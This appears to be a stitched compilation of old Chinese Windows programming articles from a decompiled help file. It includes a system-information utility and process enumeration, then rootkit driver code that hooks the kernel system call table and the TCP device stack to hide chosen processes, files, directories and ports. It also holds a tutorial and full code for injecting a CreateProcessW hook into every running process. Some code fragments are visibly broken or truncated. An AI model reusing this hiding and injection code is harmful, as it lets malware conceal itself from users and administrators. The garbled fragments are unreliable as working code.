printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
printf("InterruptCount:\t\t%d\n",SystemProcTime.InterruptCount);
 }
__finally
{
if(hNtDll
        !=
        NULL)
{
FreeLibrary(hNtDll);
}
}
return 0;
}
DWORD PagefileInfo()
{
PSYSTEM_PAGEFILE_INFORMATION pSystemPagefileInfo;
PVOID pBuffer;
HMODULE hNtDll = NULL;
DWORD dwNumberBytes;
DWORD dwReturnLength;
NTSTATUS Status;
 __try
{
hNtDll =
        LoadLibrary("NtDll.dll");
if(hNtDll ==
        NULL)
{
printf("LoadLibrary Error:
        %d\n",GetLastError());
__leave;
}
  NtQuerySystemInformation =
        (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation
        == NULL)
{
printf("GetProcAddress
        for NtQuerySystemInformation Error:
        %d\n",GetLastError());
__leave;
}
dwNumberBytes = MAX_INFO_BUF_LEN;
pBuffer = (LPVOID)malloc(dwNumberBytes);
Status = NtQuerySystemInformation(SYSTEM_PAGE_INFO,
pBuffer,
dwNumberBytes,
&dwReturnLength);
if(Status != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation for Pagefile Error: %d\n",GetLastError());
__leave;
}
  pSystemPagefileInfo =
        (PSYSTEM_PAGEFILE_INFORMATION)pBuffer;
do
{
printf("CurrentPagefileSize:\t%d\n",pSystemPagefileInfo->CurrentSize);
printf("TotalPagefileUsed:\t%d\n",pSystemPagefileInfo->TotalUsed);
printf("PeakPagefileUsed:\t%d\n",pSystemPagefileInfo->PeakUsed);
wprintf(L"PagefileFileName:\t%s\n",pSystemPagefileInfo->FileName.Buffer);
   pSystemPagefileInfo =
        (PSYSTEM_PAGEFILE_INFORMATION)((char *)pBuffer +
        pSystemPagefileInfo->NetxEntryOffset);
}while(pSystemPagefileInfo->NetxEntryOffset
        !=
        0);
}
__finally
{
if(pBuffer
        !=
        NULL)
{
free(pBuffer);
}
if(hNtDll  !=
        NULL)
{
FreeLibrary(hNtDll);
}
}
return 0;
}
DWORD CacheInfo()
{
SYSTEM_CACHE_INFORMATION SystemCacheInfo;
HMODULE hNtDll = NULL;
DWORD dwNumberBytes;
DWORD dwReturnLength;
NTSTATUS Status;
 __try
{
hNtDll =
        LoadLibrary("NtDll.dll");
if(hNtDll ==
        NULL)
{
printf("LoadLibrary Error:
        %d\n",GetLastError());
__leave;
}
  NtQuerySystemInformation =
        (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation
        == NULL)
{
printf("GetProcAddress
        for NtQuerySystemInformation Error:
        %d\n",GetLastError());
__leave;
}
dwNumberBytes = sizeof(SYSTEM_CACHE_INFORMATION);
Status = NtQuerySystemInformation(SYSTEM_CACHE_INFO,
&SystemCacheInfo,
dwNumberBytes,
&dwReturnLength);
if(Status != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation for Cache Error: %d\n",GetLastError());
__leave;
}
printf("CacheWorkingSetSize:\t\t%d(KB)\n",SystemCacheInfo.SystemCacheWsSize/1024);
printf("CacheWorkingSetPeakSize:\t%d(KB)\n",SystemCacheInfo.SystemCacheWsPeakSize/1024);
printf("CacheWorkingSetFaults:\t\t%d\n",SystemCacheInfo.SystemCacheWsFaults);
printf("CacheWorkingSetMinimum:\t\t%d\n",SystemCacheInfo.SystemCacheWsMinimum);
printf("CacheWorkingSetMaximum:\t\t%d\n",SystemCacheInfo.SystemCacheWsMaximum);
printf("TransitionSharedPages:\t\t%d\n",SystemCacheInfo.TransitionSharedPages);
printf("TransitionSharedPagesPeak:\t%d\n",SystemCacheInfo.TransitionSharedPagesPeak);
 }
__finally
{
if(hNtDll
        !=
        NULL)
{
FreeLibrary(hNtDll);
}
}
return 0;
}
VOID Start()
{
printf("T-PMPerf, by
        TOo2y\n");
printf("E-mail: TOo2y@safechina.net\n");
printf("HomePage:
        www.safechina.net\n");
printf("Date:
        05-09-2003\n\n");
return ;
}
VOID Usage()
{
printf("Usage:\tT-PMPerf <Option>\n");
printf("Option:\n");
printf(" -Perf System Performance Information\n");
printf(" -Proc System Processor Information\n");
printf(" -Page System Pagefile Information\n");
printf(" -Cache System Cache Information\n");
return ;
}
#endif
Reference: 《Windows NT/2000 Native API Reference》。


用快照获取当前系统所有进程
如何用快照枚举当前系统中所有进程，近来问这个问题的朋友比较多，所以干脆贴上来算了。呵呵。:D
        如何用快照枚举当前系统中所有进程，近来问这个问题的朋友比较多，所以干脆贴上来算了。呵呵。:D

在窗体上添加一个ListView，设置其ViewStyle为vsReport，在ListView上添加三个Column，再添加一个Button。

#include
#include "stdio.h"

void __fastcall TMainForm::Button1Click(TObject *Sender)
{
// Find each process and display it.
HANDLE snapshot ;
PROCESSENTRY32 processinfo ;
processinfo.dwSize = sizeof
        (processinfo) ;
snapshot = CreateToolhelp32Snapshot
        (TH32CS_SNAPPROCESS, 0) ;
if (snapshot == NULL)
return ;

bool status = Process32First (snapshot, &processinfo)
        ;
while (status)
{
TListItem *li =
        ListView1->Items->Add () ;
String buffer ;
int length ;
buffer.SetLength (512) ;
length = sprintf (buffer.c_str (),
        "%08X", processinfo.th32ProcessID) ;
buffer.SetLength (length) ;
li->Caption = buffer;
buffer.SetLength (512) ;
length =
        sprintf (buffer.c_str (), "%08X", processinfo.th32ParentProcessID) ;
buffer.SetLength (length) ;
li->SubItems->Add (buffer) ;
li->SubItems->Add (processinfo.szExeFile) ;
status =
        Process32Next (snapshot, &processinfo) ;
}
}

This file is decompiled by an unregistered
        version of ChmDecompiler.
Regsitered version does not show this
        message.
You can download ChmDecompiler at : http://www.zipghost.com/


隐藏任意进程，目录/文件，注册表，端口
Author: sinister
Email: sinister@whitecell.org
Homepagehttp://www.whitecell.org
Date: 2002-05-08

查找进程，目录/文件，注册表等操作系统将最终调用
        ZwQueryDirectoryFile，ZwQuerySystemInformation，
ZwXXXvalueKey
        等函数。要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因
        SYSCALL 表在用户层不可见，所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过，这里不在详述。（可以参见 sysinternals.com 或 WebCrazy 所
写的文章）。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利
用设备过滤驱动的方法写一个
        DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西，是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面，灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程，目录/文件，端口代码片段。
（注册表操作在
        RegMon 中写的很详细，这里就不列出了）

typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate,
        ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD
        dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD
        wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
}
        DirEntry, *PDirEntry;

struct
        _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER
        UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID
        StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG
        ThreadState;
KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG
        InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct
        _SYSTEM_THREADS Threads[1];
};

// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN
        PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext
        OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID
        FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN
        FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN
        bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN
        BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING
        uniFileName;
PP_DIR ptr;

WCHAR
        ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;

//
        执行旧的ZwQueryDirectoryFile函数
rc =
        ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);

if(NT_SUCCESS(rc))
{
PDirEntry
        p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p =
        (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
pLast = NULL;

do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);

found=0;

//
        在链表中查找是否包含当前目录
for(ptr = list_head; ptr != NULL; ptr = ptr->next)
{
if (ptr->flag != PTR_HIDEDIR) continue;
if(
        RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name)
        ) == strlen(ptr->name))
{
found=1;
break;
}
}//end for

// 如果链表中包含当前目录，隐藏
if(found)
{
if(bLastOne)
{
if(p ==
        (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //隐藏
}
else
pLast->dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft
        = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ),
        (DWORD)iLeft );
continue;
}
}
pLast = p;
p =
        (PDirEntry)((char *)p + p->dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}

// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;

ANSI_STRING
        process_name,process_uname,process_name1,process_name2;
BOOL
        g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int
        found;

//
        执行旧的ZwQuerySystemInformation函数

rc =
        ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );

if(NT_SUCCESS(rc ))
{
if(
        g_hide_proc && (5 == SystemInformationClass))
{
//
        将查找出来结果赋给结构
struct _SYSTEM_PROCESSES *curr = (struct
        _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES
        *prev = NULL;

// 遍历进程
while(curr)
{

if((0 process_name.Length))
{
found=0;
// 遍历链表
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag != PTR_HIDEPROC) continue ;

if
        (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found =1;
}
}

// 判断如果是隐藏进程名则覆盖掉此进程名
while(found)
{

if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta +=
        curr->NextEntryDelta;
}
else
{
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation +=
        curr->NextEntryDelta;
}
else
{
SystemInformation =
        NULL;
}
}

if(curr->NextEntryDelta)((char *)curr
        += curr->NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍历链表
found = 0;
for
        (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag
        != PTR_HIDEPROC) continue ;

if
        (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char *)curr +=
        curr->NextEntryDelta);
else curr = NULL;
}
}
}
}
return(rc);
}

//隐藏端口

PDEVICE_OBJECT m_TcpgetDevice;

PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;

Empty =
        DriverObject->MajorFunction[IRP_MJ_CREATE];

RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");

//得到已有的设备指针

status = IoGetDeviceObjectPointer(
        &TcpDeviceName,
FILE_ALL_ACCESS,
&FileObject,
&TcpDevice
);

if(!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer error!\n");
return
        status;
}

DbgPrint("IoGetDeviceObjectPointer
        ok!\n");

// 建立设备
status = IoCreateDevice(
        DriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&FilterDevice
);
if(!NT_SUCCESS(status))
{
return status;
}

// 加入设备

TcpgetDevice =
        IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

if(!TcpgetDevice)
{
IoDeleteDevice(FilterDevice);
DbgPrint("IoAttachDeviceToDeviceStack error!\n");
return
        STATUS_SUCCESS;
}

m_TcpgetDevice =
        TcpgetDevice;

// 加到过滤函数中处理
for(i=0;i {
if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
{
DriverObject->MajorFunction[i] = PassThrough;

}
}

ObDereferenceObject(FileObject);

NTSTATUS PassThrough( IN
        PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

NTSTATUS status;
PIO_STACK_LOCATION pIrpStack;

pIrpStack =
        IoGetCurrentIrpStackLocation( Irp );

//如是查询则完成 IRP
if (
        pIrpStack->Parameters.DeviceIoControl.IoControlCode ==
        QUERY_INFORMATION_EX)
{
//这里可以近一步判断某个端口

Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}

//复制当前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);

IoSetCompletionRoutine( Irp,
GenericCompletion,
NULL,
TRUE,
TRUE,
TRUE
);

//传递
return IoCallDriver(
        m_TcpgetDevice, Irp);

This file is
        decompiled by an unregistered version of ChmDecompiler.
Regsitered
        version does not show this message.
You can download ChmDecompiler
        at : http://www.zipghost.com/


这份文档演示了如何实现全局HOOK
【前言】
【概述】
【copy－on－write】
【三种可行的办法】
<查询CreateProcessW的基址及属性>
<枚举系统中所有进程>
<修改CreateProcessW页属性>
<在进程中分配一块可用空间>
<将代码写入远程进程空间>
<编译器的魔术>
<解决麻烦的定位问题>
【完整演示代码】
【资源】
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
【前言】
写这篇文档的时候由于我足够菜，碰到了不少问题，多谢bkbll,a1rsupply和SobeIt的指点,还有TCH的辛勤劳动,才有这篇文档的诞生,本文中可能存在一些错误，这些错误都是由于我的失误造成的,如果您有什么意见和看法，欢迎来http://www.itaq.org指出,或者E-mail:zf35@citiz.net
【概述】
在服务器上实现对进程创建的控制有很大的意义，通过监控进程的创建，我们可以让被允许运行的进程正确创建，而未被允许的程序则会创建失败，这样就可以防止未知木马，病毒和蠕虫对服务器的威胁。要实现上述目的,必须hook windows创建进程相关的API,根据《inside the windows NT》和《Native API Reference》中记载，加上softIce的实际跟踪，windows创建进程的API调用流程如下：
代码
CreateProcessA-> CreateProcessW-> CreateProcessInternalW->…->最终调用ZwCreateProcess

本文档中我们选用CreateProcessW来实现我们的目的，当然你也可以使用其它几个API。本文档的演示代码稍做改动可应用于任意Ring3函数。
对于hook一个API而言，可使用的办法有很多，本文选用改写函数入口点的办法来实现挂接CreateProcessW，更多的详细资料请参阅SobeIt写的《windows下hook API的几种办法》。
【copy－on－write】
最初试验时，我使用softice的 a CreateProcessW改写函数入口点的代码，F5切换回windows之后发现一切如愿以偿，但是当我编写程序修改CreateProcessW入口点代码时，发现所做的改动仅对本进程有效，而对于系统的其他进程没有产生任何影响。用softice跟踪后发现本进程中CreateProcessW的虚拟地址被映射到了一个新的，与其它进程不同的物理地址上，如果你读过Webcrazy的《copy－on－write机制》一文，就不难看出这是copy－on－write机制产生的影响。对于系统的dll，每个dll都被映射在不同进程的相同的虚拟地址上，而这些虚拟地址又指向相同的物理地址，通过这种机制，系统实现最低的资源消耗.当某个进程试图改写物理内存中的数据时，为了不对其它进程产生影响，系统自动新分配一块物理内存，把原物理内存中的数据复制过去，改写，然后把改写内存的那个进程的虚拟地址重新映射到新的物理内存上去，而其它进程则还是映射在原来的物理内存上，这就是“写时复制技术”（copy－on－write），那么系统是如何判断何时应该使用copy－on－write呢？这是以虚拟地址的PTE来决定的，当PTE中copy－on－write标志被置位时，任何对该虚拟地址的写操作都将导致一个copy－on－write.

【三种可行的办法】
为了实现全局hook，我们不能被copy－on－write机制所限制住，目前我想到了三种办法来达到我们的目的。
1． 通过驱动来修改页表项（PTE）的属性，使CreateProcessW对应的虚拟地址失去copy－on－write的属性，这样在本身进程中对CreateProcessW入口点代码的修改会对系统中所有进程生效，从而实现全局hook。
2． 通过windows本身提供的一个对象\\phymem来对物理内存进行直接读写，先定位本身进程的Eprocess（KTEB）（PS：如何在Ring3下定位任意进程的Eprocess请参考我之前写的《获取进程的Eprocess》一文），获得Eprocess之后，可以得到进程的页目录，然后利用\\phymem读取存放页目录的物理内存的内容，再模拟操作系统进行虚拟地址->物理内存地址的转换，最终得到CreateProcessW所对应的物理地址，利用\\phymem我们避开copy－on－write机制，直接改写CreateProcessW。
3． 通过最常规的手段来达到目的，先枚举系统中所有进程，然后通过VirtualQueryEx，VirtualAllocEx，VirtualProtectEx等函数修改每个进程的页面属性，分配新的空间等。最后将我们的代码用WriteProcessMemory写到各进程的空间中，利用改写CreateProcessW入口为Jmp *******来跳到我们的代码中，改变函数的执行流程。
以上三个办法中，方法1只是一个构想，还没成为现实，有空的话我回去试试看的，当然页欢迎各位高手去实现，然后mail一份代码给我：P方法2我写了一份完整的代码来实现它，但是在本文档中不进行讨论，否则文档会变的很长，我将在另一份文档中专门说明这种办法的具体实现。方法3使本文讨论的重点，下面就方法3进行详细说明。
<查询CreateProcessW的基址及属性>
这里我们使用VirtualQueryEx这个函数，其原型如下：
SIZE_T
VirtualQueryEx
(
HANDLE hProcess,
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
);
参数说明:
HANDLE hProcess 想要查询内存信息的进程句柄
LPCVOID lpAddress 指向想要查询内存区域的指针
PMEMORY_BASIC_INFORMATION lpBuffer 指向MEMORY_BASIC_INFORMATION结构的指针
SIZE_T dwLength lpBuffer的大小
调用这个函数之后，相关的信息存放在lpBuffer指向的结构中

<修改CreateProcessW的页属性>
对于一个页来说，有如下几种属性：
PAGE_EXECUTE
PAGE_EXECUTE_READ
PAGE_EXECUTE_READWRITE
PAGE_EXECUTE_WRITECOPY
PAGE_NOACCESS
PAGE_READONLY
PAGE_READWRITE
PAGE_WRITECOPY

我们通过VirtualProtectEx来修改页的属性：
BOOL
VirtualProtectEx
(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
参数说明:
HANDLE hProcess 进程句柄
LPVOID lpAddress 指向想要修改的内存区域的指针
SIZE_T dwSize 修改的内存区域的大小
DWORD flNewProtect 新的页属性
PDWORD lpflOldProtect 指向保存老的页属性的内存的指针
从后面的代码中我们可以看到，为了改写函数入口点代码，我们必须赋予它PAGE_EXECUTE_READWRITE属性。

<在进程中分配可用空间>
光修改函数入口点代码是不够的。我们必须自己编写一段code来接管CreateProcessW的工作，由于进程空间是相互隔离的，为了达到全局hook的目标，我们必须向每个进程索要一块空间来存放我们的代码，这就要用到VirtualAllocEx这个函数了,VirtualAllocEx原型如下:
LPVOID
VirtualAllocEx
(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
参数说明:
HANDLE hProcess 进程句柄
LPVOID lpAddress 指向分配内存区域的指针
SIZE_T dwSize 分配的区域的大小
DWORD flAllocationType 内存类型
DWORD flProtect 新内存的属性
<将代码写入远程进程空间>
我们使用WriteProcessMemory这个函数来向远程进程写入我们的代码和数据，其原型如下:
BOOL
WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
参数说明:
HANDLE hProcess 进程句柄
LPVOID lpBaseAddress 指向写入地址的指针
LPCVOID lpBuffer 指向写入数据的指针
SIZE_T nSize lpBuffer的大小
SIZE_T* lpNumberOfBytesWritten 实际写入的字节数

<编译器的魔术>
我在使用WriteProcessMemory把我自己写的一个函数JmpToAddress的内容写入远程进程空间时，发现无论我的JmpToAddress的内容是什么，写入空间的都是E9****这几个字节，这令我非常困惑，从机器码来看，这是一条相对跳转指令。那么它又是从何而来呢，为了搞清楚这个问题，我用VC调试了一下，在watch窗口中输入JmpToAddress，显示出JmpToAddress的虚拟地址0x00410XXX，然后打开memory窗口，查看这段内存中存放的内容，发现确实是JmpToAddress的代码，这就奇怪了，那神秘的E9****是从何而来呢，于是我请教了a1rsupply，他告诉我VC的调试版本会生成跳转表，这下真相大白，原来是编译器玩的魔术。
为了向远程进程正确写入代码，我们必须自己计算真正的函数地址，下面我写了一段代码来计算真正的函数地址：
__asm
{
pushad
lea eax,JmpToAddress
mov ecx,JmpToAddress
shr ecx,8
add eax,ecx
add eax,5
mov JmpAfterCalc,eax
popad
}
<解决麻烦的定位问题>
在编写代码的过程中，我遇到的另一个较大的问题就是如何定位地址。我编写的JmpToAddress()函数如下:
void __declspec(naked) JmpToAddress(void)
{
__asm jmp [HookedAddr]
}
在本地进程中这句代码没什么问题，但是当它被写入远端进程后便会产生种种问题,我们来看看它的汇编代码，如下
jmp [00401Cxxx]
我们注意到本进程中这个虚拟地址里存放的是HookedAddr的地址，但是在远程进程中,这个地址指向的是别的什么东西,jmp过去会产生不可预料的结果,为了实现正确的行为，我们先用WriteProcessMemory向远程进程写入HookedAddr的内容，然后用一个相对地址引用它
void __declspec(naked) JmpAddress(void)
{
__asm call flag
flag:
__asm pop eax
__asm add eax,0x0e
__asm mov ebx,[eax]
__asm jmp ebx
}
pop eax后，eax里面存放的就是本条指令的虚拟的地址，加上一个固定值后,[eax]就是我们通过WriteProcessMemory写入的数据。
完整演示代码
/******************************************************************
*Author: *
* [I.T.S]SystEm32 *
*Module Name *
* Hook_Api_1.cpp *
*Abstract: *
* This Code Show the Method of Hooking Win32 API *
*Environment: *
* User Mode - Win32 *
*Revision History: *
* 2004-9-20 *
*express My thanks to: *
* Bkbll,A1rsupp1y,SoBeIt and TCH *
*Our HomePage: *
* [url]http://www.itaq.org[/url] *
******************************************************************/
#include <windows.h>
#include <stdio.h>
#include "psapi.h"
#pragma comment(lib,"psapi.lib")
#define NTAPIADDR FARPROC
#define K_MODULE "kernel32.dll"
#define HOOK_API "CreateProcessW"
HMODULE hKernel32 = GetModuleHandle(K_MODULE);
NTAPIADDR pCreateProcessW = GetProcAddress(hKernel32,HOOK_API);
LPVOID HookedAddr = NULL;

void __declspec(naked) RealExecute(void)
{
/*You can add your own Hooked CreateProcessW function here*/
__asm ret 0x28
}
void __declspec(naked) JmpToAddress(void)
{
__asm call flag
flag:
__asm pop eax
__asm add eax,0x0e
__asm mov ebx,[eax]
__asm jmp ebx
}
BOOL WINAPI GetDebugPrivilege(void);
BOOL WINAPI InsertHook(DWORD ProcessID);
void main(void)
{
DWORD ProcessList[80],ProcessNUM;
EnumProcesses(ProcessList,sizeof(ProcessList),&ProcessNUM);
ProcessNUM/=sizeof(DWORD);
printf("Current process num is %d\n\r",ProcessNUM);
//printf("%08x\n\r",(LPVOID)RealExecute);
GetDebugPrivilege();
//step over the 0 process
for(DWORD
        Count=1;Count<ProcessNUM;Count++)
{
InsertHook(ProcessList[Count]);
}
Sleep(2000);
return;
}
BOOL WINAPI GetDebugPrivilege(void)
{
HANDLE hToken,hProcess;
TOKEN_PRIVILEGES tp;
char *pSEDEBUG = "SeDebugPrivilege";
hProcess =
        GetCurrentProcess();
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);
LookupPrivilegeValue(NULL,pSEDEBUG,&tp.Privileges[0].Luid);
tp.PrivilegeCount
        = 1;
tp.Privileges[0].Attributes =
        SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);
return
        0;
}
BOOL WINAPI InsertHook(DWORD ProcessID)
{
MEMORY_BASIC_INFORMATION MBI;
HANDLE hProcess;
LPVOID RealAfterCalc,JmpAfterCalc;
int cb=sizeof(TCHAR)*4*1024;
//only for test
//if(1860 != ProcessID) goto
        end;
printf("PID is %d\n\r",ProcessID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
if(NULL == hProcess)
{
printf("failed!\n\r");
goto end;
}
//calculate the real address of RealExecute
__asm
{
pushad
lea eax,RealExecute
mov ecx,RealExecute
shr ecx,8
add eax,ecx
add eax,5
mov RealAfterCalc,eax
popad
}
//calculate the real address of JmpToAddress
__asm
{
pushad
lea eax,JmpToAddress
mov ecx,JmpToAddress
shr ecx,8
add eax,ecx
add eax,5
mov JmpAfterCalc,eax
popad
}
//Alloc some memory in the process
HookedAddr = VirtualAllocEx(hProcess,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(0 == WriteProcessMemory(hProcess,HookedAddr,RealAfterCalc,5,NULL))
printf("WriteProcessMemory failed!\n\r");
VirtualQueryEx(hProcess,(LPVOID*)pCreateProcessW,&MBI,sizeof(MBI));
VirtualProtectEx(hProcess,MBI.BaseAddress,MBI.RegionSize,PAGE_EXECUTE_READWRITE,&MBI.Protect);
printf("HookedAddr is
        0x%08x\n\r",HookedAddr);
WriteProcessMemory(hProcess,pCreateProcessW,JmpAfterCalc,0x0e,NULL);
WriteProcessMemory(hProcess,(char*)pCreateProcessW+0x13,&HookedAddr,4,NULL);
end:
return 0;
}


编写驱动拦截nt的api实现隐藏文件目录

原作者姓名 desert studio
介绍
这几天看了lornwolf兄写的拦截ZwQuerySystemInformation来隐藏进程的文章，还有sinister的“隐藏 任意进程 目录 文件 注册表 端口“这篇文章。发现sinister的根本编译不了，于是我梢加修改了一下，其他的如隐藏注册表键值，拦截删除注册表，拦截删除文件等等都可以类似实现！

读者评分 4 评分次数 2
正文
目前NT下有很多种隐藏文件和目录的方法，其中最简单的一种是给文件和文件夹加上系统属性和隐藏属性，操作系统就会不在显示了，而且查找也找不到了，但是这种方法一点都不彻底，没有可用性！下面我们来介绍用NT驱动程序来拦截NTAPI来实现彻底隐藏文件和目录的目的。NT下有一个文件NTDLL.DLL，大部分NTAPI都是在这个库中封装的。其中实现查找文件和目录的API接口是ZwQueryDirectoryFile，所以我们只要拦截这个API的话，文件和目录就可以完全隐藏了！下面来一步不实现（准备工作：到NTDDK中找一个WDM驱动程序模型，也就是最简单的驱动程序了）：
1.定义FILE_INFORMATION_CLASS的第3号结构：_FILE_BOTH_DIR_INFORMATION，这个结构是ZwQueryDirectoryFile必须参数。
typedef struct _FILE_BOTH_DIR_INFORMATION
        {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER
        CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER
        LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER
        EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG
        FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR
        ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
}
        FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
2.先申明ZwQueryDirectoryFile，然后定义ZwQueryDirectoryFile的原型：
extern NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//定义ZwQueryDirectoryFile的原型
typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
